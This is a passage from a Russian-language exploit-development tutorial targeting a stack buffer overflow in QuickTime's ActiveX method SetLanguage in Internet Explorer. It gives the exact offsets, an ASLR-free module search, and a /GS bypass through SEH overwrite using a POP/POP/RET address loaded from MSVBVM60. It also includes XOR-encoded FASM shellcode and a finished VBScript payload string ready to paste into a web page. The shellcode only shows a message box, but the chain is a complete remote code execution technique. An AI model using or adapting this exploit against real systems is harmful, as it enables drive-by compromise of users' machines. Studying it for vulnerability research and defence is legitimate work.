Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx:
В качестве первого параметра передается фиксированный буфер в стеке. Получается что можно перезаписать стек как нам угодно, т.к. в модуле QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким образом чтобы заменить адрес возврата на необходимый нам, который передаст управление коду в стеке который также будет находится в строке. Также необходимо найти модуль без ASLR поскольку мы используем фиксированные адреса. Для этой задачи напишем небольшую программу на VB6 для поиска модулей без ASLR. Исходный код и скомпилированная программа находятся в папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime” и “Common Files \Apple\Apple Application Support”:
Смотрим данный модуль в списке загруженных модулей в Internet Explorer:
Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или CALL ESP (FF D4). Запустим поиск этих команд:
Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как мы определили сначала мы работаем в условиях когда DEP отключен, иначе нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять специальную память для него с разрешением на выполнение и копировать шеллкод туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть расстояние в байтах от буфера-приемника до адреса возврата:
0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:
По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:
C:
DWORD __security_init_cookie()
{
DWORD result; // eax@3
DWORD v1; // esi@4
DWORD v2; // esi@4
DWORD v3; // esi@4
DWORD v4; // esi@4
DWORD v5; // esi@4
LARGE_INTEGER PerformanceCount; // [sp+8h] [bp-10h]@4
struct _FILETIME SystemTimeAsFileTime; // [sp+10h] [bp-8h]@1
SystemTimeAsFileTime.dwLowDateTime = 0;
SystemTimeAsFileTime.dwHighDateTime = 0;
if ( __security_cookie != 0xBB40E64E && __security_cookie & 0xFFFF0000 )
{
result = ~__security_cookie;
dword_6755DC3C = ~__security_cookie;
}
else
{
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
v1 = SystemTimeAsFileTime.dwLowDateTime ^ SystemTimeAsFileTime.dwHighDateTime;
v2 = GetCurrentProcessId() ^ v1;
v3 = GetCurrentThreadId() ^ v2;
v4 = GetTickCount() ^ v3;
QueryPerformanceCounter(&PerformanceCount);
result = PerformanceCount.LowPart ^ PerformanceCount.HighPart;
v5 = PerformanceCount.LowPart ^ PerformanceCount.HighPart ^ v4;
if ( v5 == 0xBB40E64E )
{
v5 = 0xBB40E64F;
}
else if ( !(v5 & 0xFFFF0000) )
{
result = v5 << 16;
v5 |= v5 << 16;
}
__security_cookie = v5;
dword_6755DC3C = ~v5;
}
return result;
}
Также можно попробовать получить это значение из VBScript’а и подставить в строку уже готовое значение, но из скрипта прочитать это значение не так просто. Самым простым способом будет перезапись SEH обработчика исключений на свой, а в качестве строки задать очень длинную строку чтобы вызвать запись за пределы стека в невыделенную память, тем самым вызвать обработчик исключения. Для выполнения этой задачи необходимо определить ближайший SEH фрейм в котором мы изменим адрес обработчика. При вызове обработчика во втором параметре передается адрес структуры EXCEPTION_REGISTRATION в которую мы можем контролировать запись. Т.е. записав в качестве указателья на следующий обработчик шеллкод мы сможем его вызвать, передав управление на него определенной последовательностью инструкций. Итак, в этом случае нам нужно определить расстояние уже до структуры EXCEPTION_REGISTRATION в первое поле мы запишем инструкцию JMP для того чтобы перепрыгнуть адрес обработчика, а во второе адрес обработчика который еще нужно будет найти по определенным критериям.
Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 - 0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции JMP $+8 = 0x06EB, в следующие 4 мы запишем адрес обработчика исключений который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по адресу второго аргумента. Типичная последовательность инструкций POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму параметру. Последовательность может быть разной к примеру CALL DWORD [ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity Debbuger со скриптом mona. Также этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь один (icudt46.dll), и скрипт не находит в нем необходимой последовательностии инструкций, то придется загружать другой модуль в котором будет отключен ASLR и присутствовать нужная последовательность инструкций. Для этого сначала запустим поиск модулей без ASLR используя finder в системной папке. На тестируемой машине поиск выдал следующий список модулей:
| amcompat.tlb atmfd.dll BOOTVID.DLL COMCT232.OCX COMCT332.OCX COMCTL32.oca COMCTL32.OCX COMDLG32.oca COMDLG32.OCX COMMTB32.DLL CRSWPP.DLL crtdll.dll ctl3d32.dll DBADAPT.DLL DBLIST32.OCX DBMSSHRN.DLL DBMSSOCN.DLL expsrv.dll MSWINSCK.OCX ntkrnlpa.exe ntoskrnl.exe ODBCCP32.CPL ODBCTL32.DLL PICCLP32.OCX PIPARSE.DLL POSTWPP.DLL PSHED.DLL | FPWPP.DLL FTPWPP.DLLhha.dll HLP95EN.DLL HTMUTIL.DLL iac25_32.ax IMGWALK.DLL ir32_32.dll ir41_32.ax ir41_qc.dll ir41_qcx.dll ir50_32.dll ir50_qc.dll ir50_qcx.dll ivfsrc.ax MCI32.OCX MDT2FW95.DLL mfc40.dll python27.dll RDOCURS.DLL REPUTIL.DLL RICHTX32.oca RICHTX32.OCX SCP32.DLL SELFREG.DLL SQLPARSE.DLL sqlunirl.dll | mfc40u.dll mfc71.dll mfc71u.dll MSADODC.OCX MSBIND.DLL MSCHRT20.OCX MSCOMCT2.oca MSCOMCT2.OCX MSCOMCTL.oca MSCOMM32.OCX mscorier.dll mscories.dll MSDATGRD.OCX MSDATLST.OCX MSDATREP.OCX MSDBRPT.DLL MSDBRPTR.DLL msdxm.tlb sqlwid.dll sqlwoa.dll stdole32.tlb SYSINFO.OCX TABCTL32.OCX TLBINF32.DLL TrickAdvanced.dll TsWpfWrp.exe VB5DB.DLL | MSFLXGRD.OCX MSHFLXGD.OCX MSINET.OCX MSJET35.DLL MSJINT35.DLL MSJT4JLT.DLL MSJTER35.DLL MSMAPI32.OCX MSMASK32.OCX MSRD2X35.DLL MSRDO20.DLL MSREPL35.DLL MSSTDFMT.DLL MSSTKPRP.DLL msvbvm60.dll msvcr71.dll msvcrt20.dll MSWINSCK.oca VB6STKIT.DLL vbajet32.dll VBAR332.DLL VEN2232.OLB vfpodbc.dll vm3dgl.dll WEBPOST.DLL WINDBVER.EXE WPWIZDLL.DLL |
Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6, она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM-объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:
Используем этот идентификатор для создания объекта на HTML странице:
HTML:
...
<body>
<object CLASSID="clsid:A4C4671C-499F-101B-BB78-00AA00383CBB"}>
</object>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT">
<param name="src" value="f00002.mov">
</object>
<body onload="vbscript:RunExploit()">
</body>
...
Обновляем страницу и видим что модуль MSVBVM60 не загрузился. Это случилось потому что в реестре отсутствует данный идентификатор в ветке HKEY_CLASSES_ROOT\CLSID. В модуле MSVBVM60 содержится 2 библиотеки типов, поэтому попробуем получить кокласс из второй библиотеки (VBRUN):
Этот идентификатор присутствует в реестре:
Также я проверил на Win8 x64, на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:
Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:
Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.
Итак формируем строку - String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60:
Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60:
Код:
use32
addr_DllFunctionCall equ 0x7294A0FD
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08
; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей
shellcode:
mov eax, esp
sub eax, 4
mov ecx, dword [eax]
add ecx, start_c - shellcode + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx
next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc
start_c:
lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]
jmp begin
funcName: db 'MessageBoxA', 0
libName: db 'user32', 0
text: db 'Hello world!', 0
begin:
push 0
push 0
push esp
push 0
sub esp, 8
push esp
mov eax, ebp
add eax, funcName
mov dword [esp+8], eax
add eax, libName - funcName
mov dword [esp+4], eax
mov eax, addr_DllFunctionCall
call eax
mov ecx, ebp
add ecx, text
push 0
push 0
push ecx
push 0
call eax
end_c:
Для того чтобы полностью скопировать весь шеллкод для исполнения нужно обеспечить отсутствие нулевых байтов, поскольку это является признаком конца строки и данные обрежутся в этом месте. Для обеспечения этого условия необходимо закодировать код таким образом чтобы исключить нулевые байты. Код расшифровки должен быть маленьким и не содержать нулевых байтов поскольку он не шифруется. В вышепреведенном коде используется самое простое XOR шифрование начиная с метки start_c (0x19). Для большей гибкости можно использовать динамическое значение для шифрования, в данном коде это не требуется.
Код до шифрования:
Код с оформлением (BB-коды):
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 8D 68 8F EB 20 4D 65
73 73 61 67 65 42 6F 78 41 00 75 73 65 72 33 32
00 48 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 6A 00
6A 00 54 6A 00 83 EC 08 54 89 E8 83 C0 1E 89 44
24 08 83 C0 0C 89 44 24 04 B8 FD A0 94 72 FF D0
89 E9 83 C1 31 6A 00 6A 00 51 6A 00 FF D0
Код после шифрования:
Код с оформлением (BB-коды):
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 40 13 3A 79 ED 36 D0
E1 BE 1A D2 F7 8F 14 CD D3 CD 0E C6 F7 BF 48 87
92 85 1E D9 FE A2 5B C2 FD BF 17 D1 B3 CD 11 B5
F8 CD 2F DF 92 4E 97 BD C6 44 93 36 52 D3 F2 F1
B6 C5 F8 75 9E 44 3F 91 96 75 86 15 06 BF 84 65
1B 24 F8 74 A3 A7 7B DF 92 9C 11 B5 6D 1D
Теперь собираем строку используя программу StringMaker и вставляем в HTML документ:
HTML:
QT.SetLanguage (String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & _
Chr(&H89) & Chr(&HE0) & Chr(&H83) & Chr(&HE8) & Chr(&H4) & Chr(&H8B) & Chr(&H8) & Chr(&H83) & _
Chr(&HC1) & Chr(&H21) & Chr(&H6A) & Chr(&H16) & Chr(&H58) & Chr(&H91) & Chr(&H81) & _
Chr(&H30) & Chr(&HCD) & Chr(&H7B) & Chr(&HB5) & Chr(&H92) & Chr(&H83) & Chr(&HC0) & _
Chr(&H4) & Chr(&HE2) & Chr(&HF5) & Chr(&H40) & Chr(&H13) & Chr(&H3A) & Chr(&H79) & _
Chr(&HED) & Chr(&H36) & Chr(&HD0) & Chr(&HE1) & Chr(&HBE) & Chr(&H1A) & Chr(&HD2) & _
Chr(&HF7) & Chr(&H8F) & Chr(&H14) & Chr(&HCD) & Chr(&HD3) & Chr(&HCD) & Chr(&HE) & _
Chr(&HC6) & Chr(&HF7) & Chr(&HBF) & Chr(&H48) & Chr(&H87) & Chr(&H92) & Chr(&H85) & _
Chr(&H1E) & Chr(&HD9) & Chr(&HFE) & Chr(&HA2) & Chr(&H5B) & Chr(&HC2) & Chr(&HFD) & _
Chr(&HBF) & Chr(&H17) & Chr(&HD1) & Chr(&HB3) & Chr(&HCD) & Chr(&H11) & Chr(&HB5) & _
Chr(&HF8) & Chr(&HCD) & Chr(&H2F) & Chr(&HDF) & Chr(&H92) & Chr(&H4E) & Chr(&H97) & _
Chr(&HBD) & Chr(&HC6) & Chr(&H44) & Chr(&H93) & Chr(&H36) & Chr(&H52) & Chr(&HD3) & _
Chr(&HF2) & Chr(&HF1) & Chr(&HB6) & Chr(&HC5) & Chr(&HF8) & Chr(&H75) & Chr(&H9E) & _
Chr(&H44) & Chr(&H3F) & Chr(&H91) & Chr(&H96) & Chr(&H75) & Chr(&H86) & Chr(&H15) & _
Chr(&H6) & Chr(&HBF) & Chr(&H84) & Chr(&H65) & Chr(&H1B) & Chr(&H24) & Chr(&HF8) & _
Chr(&H74) & Chr(&HA3) & Chr(&HA7) & Chr(&H7B) & Chr(&HDF) & Chr(&H92) & Chr(&H9C) & _
Chr(&H11) & Chr(&HB5) & Chr(&H6D) & Chr(&H1D) & String(&H6FFF, "x"))